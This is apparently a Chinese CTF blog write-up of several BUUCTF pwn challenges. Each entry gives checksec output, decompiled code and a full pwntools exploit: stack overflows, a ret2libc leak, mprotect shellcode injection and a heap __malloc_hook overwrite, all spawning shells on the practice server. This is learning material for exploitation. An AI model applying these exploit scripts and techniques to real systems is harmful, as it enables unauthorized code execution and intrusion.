http://www.joe1sn.top/blog/buuctf/buuctf-pwn-part2.html/
1.ciscn_2019_n_1
环境:Ubuntu18
- 1.checksec
[*] '/mnt/c/Disk E/CTF/Question/BUUCTF/pwn/ciscn_2019_n_1/ciscn_2019_n_1'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
- 2.IDA
main
int __cdecl main(int argc, const char **argv, const char **envp)
{
FILE *v3; // rdi
setvbuf(_bss_start, 0LL, 2, 0LL);
v3 = stdin;
setvbuf(stdin, 0LL, 2, 0LL);
func(v3, 0LL);
return 0;
}
func
int func()
{
int result; // eax
char v1; // [rsp+0h] [rbp-30h]
float v2; // [rsp+2Ch] [rbp-4h]
v2 = 0.0;
puts("Let's guess the number.");
gets(&v1);
if ( v2 == 11.28125 )
result = system("cat /flag");
else
result = puts("Its value should be 11.28125");
return result;
}
string
LOAD:0000000000400238 0000001C C /lib64/ld-linux-x86-64.so.2
LOAD:0000000000400399 0000000A C libc.so.6
LOAD:00000000004003A3 00000005 C gets
LOAD:00000000004003A8 00000005 C puts
LOAD:00000000004003AD 00000006 C stdin
LOAD:00000000004003B3 00000007 C stdout
LOAD:00000000004003BA 00000007 C system
LOAD:00000000004003C1 00000008 C setvbuf
LOAD:00000000004003C9 00000012 C __libc_start_main
LOAD:00000000004003DB 0000000F C __gmon_start__
LOAD:00000000004003EA 0000000C C GLIBC_2.2.5
.rodata:00000000004007B4 00000018 C Let's guess the number.
.rodata:00000000004007CC 0000000A C cat /flag
.rodata:00000000004007D6 0000001D C Its value should be 11.28125
.eh_frame:000000000040089F 00000006 C ;*3$\"
v1的栈空间覆盖到v2
- 3.EXP
from pwn import *
#context.log_level = 'debug'
p = remote("node3.buuoj.cn",26782)
number_addr = 0x41348000
payload = '\x00'*(0x30-4) + p64(number_addr)
p.sendlineafter("Let's guess the number.\n",payload)
print p.recv()
number是地址下面保存的16进制值
2.ciscn_2019_en_2
和ciscn_2019_c_1一样
3.[OGeek2019]babyrop
- 1.checksec()
[*] '/mnt/c/Disk E/CTF/Question/BUUCTF/pwn/[OGeek2019]babyrop/pwn'
Arch: i386-32-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
- 2.IDA
main
int __cdecl main()
{
int buf; // [esp+4h] [ebp-14h]
char v2; // [esp+Bh] [ebp-Dh]
int fd; // [esp+Ch] [ebp-Ch]
sub_80486BB();
fd = open("/dev/urandom", 0);
if ( fd > 0 )
read(fd, &buf, 4u);
v2 = sub_804871F(buf);
sub_80487D0(v2);
return 0;
}
sub_804871F
int __cdecl sub_804871F(int a1)
{
size_t v1; // eax
char s; // [esp+Ch] [ebp-4Ch]
char buf[7]; // [esp+2Ch] [ebp-2Ch]
unsigned __int8 v5; // [esp+33h] [ebp-25h]
ssize_t v6; // [esp+4Ch] [ebp-Ch]
memset(&s, 0, 0x20u);
memset(buf, 0, 0x20u);
sprintf(&s, "%ld", a1);
v6 = read(0, buf, 0x20u);
buf[v6 - 1] = 0;
v1 = strlen(buf);
if ( strncmp(buf, &s, v1) )
exit(0);
write(1, "Correct\n", 8u);
return v5;
}
sub_80487D0
ssize_t __cdecl sub_80487D0(char a1)
{
ssize_t result; // eax
char buf; // [esp+11h] [ebp-E7h]
if ( a1 == 127 )
result = read(0, &buf, 0xC8u);
else
result = read(0, &buf, a1);
return result;
}
sprintf:sprintf 返回以format为格式argument为内容组成的结果被写入string的字节数,结束字符‘\0’不计入内。即,如果“Hello”被写入空间足够大的string后,函数sprintf 返回5
也就是说第一个是'\0'可以绕过检测
string
LOAD:0804840B 00000006 C write
LOAD:08048411 0000000F C __gmon_start__
LOAD:08048420 0000000A C GLIBC_2.0
.rodata:08048920 0000000A C Time's up
.rodata:0804892E 00000009 C Correct\n
.rodata:08048937 0000000D C /dev/urandom
.eh_frame:080489C7 00000005 C ;*2$\"
没有/bin/sh,没有system函数,有libc,考虑write泄露libc
- 3.EXP
from pwn import *
#context.log_level = 'debug'
p = remote("node3.buuoj.cn",28118)
#p = process("./pwn")
elf = ELF("./pwn")
libc = ELF("./libc-2.23.so")
write_plt = elf.plt["write"]
write_got = elf.got["write"]
main_addr = 0x08048825
libc_write = libc.sym["write"]
libc_system = libc.sym["system"]
#binsh = next(libc.search('/bin/sh'))
binsh = 0x15902b
payload_1 = '\x00'+ '\xff'*7
paylaod_2 = 'a'*(0xe7+4) + p32(write_plt) + p32(main_addr)
paylaod_2 += p32(1) + p32(write_got) + p32(4)
p.sendline(payload_1)
p.recvuntil("Correct\n")
p.sendline(paylaod_2)
real_write = u32(p.recv(4))
libc_base = real_write - libc_write
real_system = libc_base + libc_system
binsh = binsh + libc_base
payload_1 = '\x00'+ '\xff'*7
payload_3 = 'a'*(0xe7+4) + p32(real_system) + p32(0)
payload_3 += p32(binsh)
p.sendline(payload_1)
p.recvuntil("Correct\n")
p.sendline(payload_3)
p.interactive()
接受的4字节不需要在ljust对齐了
4.get_started_3dsctf_2016
- 1.checksec()
[*] '/mnt/c/Disk E/CTF/Question/BUUCTF/pwn/get_started_3dsctf_2016/get_started_3dsctf_2016'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
- 2.IDA
main
int __cdecl main(int argc, const char **argv, const char **envp)
{
char v4; // [esp+4h] [ebp-38h]
printf("Qual a palavrinha magica? ", v4);
gets(&v4);
return 0;
}
get_flag
void __cdecl get_flag(int a1, int a2)
{
int v2; // eax
int v3; // esi
unsigned __int8 v4; // al
int v5; // ecx
unsigned __int8 v6; // al
if ( a1 == 814536271 && a2 == 425138641 )
{
v2 = fopen("flag.txt", "rt");
v3 = v2;
v4 = getc(v2);
if ( v4 != 255 )
{
v5 = (char)v4;
do
{
putchar(v5);
v6 = getc(v3);
v5 = (char)v6;
}
while ( v6 != 255 );
}
fclose(v3);
}
}
其实主要分析可知,这个程序的大致意思是修改eip改变程序流,最后执行cat_flag
但是BUU远程打不通,要使用mprotec函数修改内存的权限为可读可写可执行,再使用read函数写入shellcode到被解放的bss段
- mprotect原型
#include <sys/mman.h>
int mprotect(void *addr, size_t len, int prot);
所以我们需要三个参数,就要ppp_ret
- 3.EXP
from pwn import *
#context.log_level = "debug"
p=remote('node3.buuoj.cn',28495)
elf=ELF('./get_started_3dsctf_2016')
pop3_ret = 0x0804951D
get_flag = 0x080489A0
got_addr = 0x080EB000
payload = 'a'*0x38+p32(elf.symbols['mprotect'])
payload += p32(pop3_ret)+p32(got_addr)+p32(0x1d8c)+p32(0x7)
payload += p32(elf.symbols['read'])
payload += p32(pop3_ret)+p32(0)+p32(got_addr)+p32(0x100)+p32(got_addr)
p.sendline(payload)
payload=asm(shellcraft.sh())
p.sendline(payload)
p.interactive()
5.babyheap_0ctf_2017
- 1.checksec()
[*] '/mnt/c/Disk E/CTF/Question/BUUCTF/pwn/babyheap_0ctf_2017/babyheap_0ctf_2017'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
开启了PIE保护,接着申请一个smallchuank,
利用fake_small_chunk 包含smallchuank头部以及fd bk ,
利用dump函数即可获取main_arena地址
- 2.IDA
main
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
__int64 v4; // [rsp+8h] [rbp-8h]
v4 = sub_B70(a1, a2, a3);
while ( 1 )
{
menu();
input(); // input
switch ( (unsigned __int64)off_14F4 )
{
case 1uLL:
Allocate(v4);
break;
case 2uLL:
Fill(v4);
break;
case 3uLL:
Free(v4);
break;
case 4uLL:
Dump(v4);
break;
case 5uLL:
return 0LL;
default:
continue;
}
}
}
个人注释了下函数变量,这样方便理解
Fill
__int64 __fastcall Fill(__int64 a1)
{
__int64 result; // rax
int v2; // [rsp+18h] [rbp-8h]
int v3; // [rsp+1Ch] [rbp-4h]
printf("Index: ");
result = input();
v2 = result;
if ( (signed int)result >= 0 && (signed int)result <= 15 )
{
result = *(unsigned int *)(24LL * (signed int)result + a1);
if ( (_DWORD)result == 1 )
{
printf("Size: ");
result = input();
v3 = result;
if ( (signed int)result > 0 )
{
printf("Content: ");
result = sub_11B2(*(_QWORD *)(24LL * v2 + a1 + 16), v3);
}
}
}
return result;
}
其实自己运行程序玩玩的时候也可以发现,size的大小是不可信任的,这样就可以堆溢出覆盖到其他区块
这个给我们创造fake_small_chunk创造了条件
- 3.EXP
from pwn import *
from LibcSearcher import *
#context.log_level = 'debug'
p = remote("node3.buuoj.cn",25070)
libc = ELF("./libc-2.23.so")
#p = process("./babyheap_0ctf_2017")
def Allocate(size):
p.sendlineafter("Command: ","1")
p.sendlineafter("Size: ",str(size))
def Fill(idx,content):
p.sendlineafter("Command: ","2")
p.sendlineafter("Index: ",str(idx))
p.sendlineafter("Size: ",str(len(content)))
p.sendlineafter("Content: ",content)
def Free(idx):
p.sendlineafter("Command: ","3")
p.sendlineafter("Index: ",str(idx))
def Dump(idx):
p.recvuntil("Command:")
p.sendline("4")
p.recvuntil("Index:")
p.sendline(str(idx))
p.recvuntil('Content: \n')
return p.recvline()
Allocate(0x60)#idx=0
Allocate(0x30)#idx=1
Fill(0,"a"*0x60+p64(0)+p64(0x71))
Allocate(0x100)#idx=2
Fill(2,"a"*0x20+p64(0)+p64(0x71))
Free(1)
Allocate(0x60)#idx=2
Fill(1,"a"*0x30+p64(0)+p64(0x111))
Allocate(0x60)
Free(2)
print Dump(1)
leak = u64(Dump(1)[-25:-17])-0x58
print "leak:"+hex(leak)
base=leak-0x3c4b20
malloc_hook=base+libc.sym['__malloc_hook']
print hex(malloc_hook)
Free(1)
Fill(0,"a"*0x60+p64(0)+p64(0x71)+p64(malloc_hook-0x23)+p64(0))
Allocate(0x60)#idx
Allocate(0x60)#idx
Fill(2,"a"*3+p64(0)+p64(0)+p64(base+0x4526a))
Allocate(0x100)#idx4
p.interactive()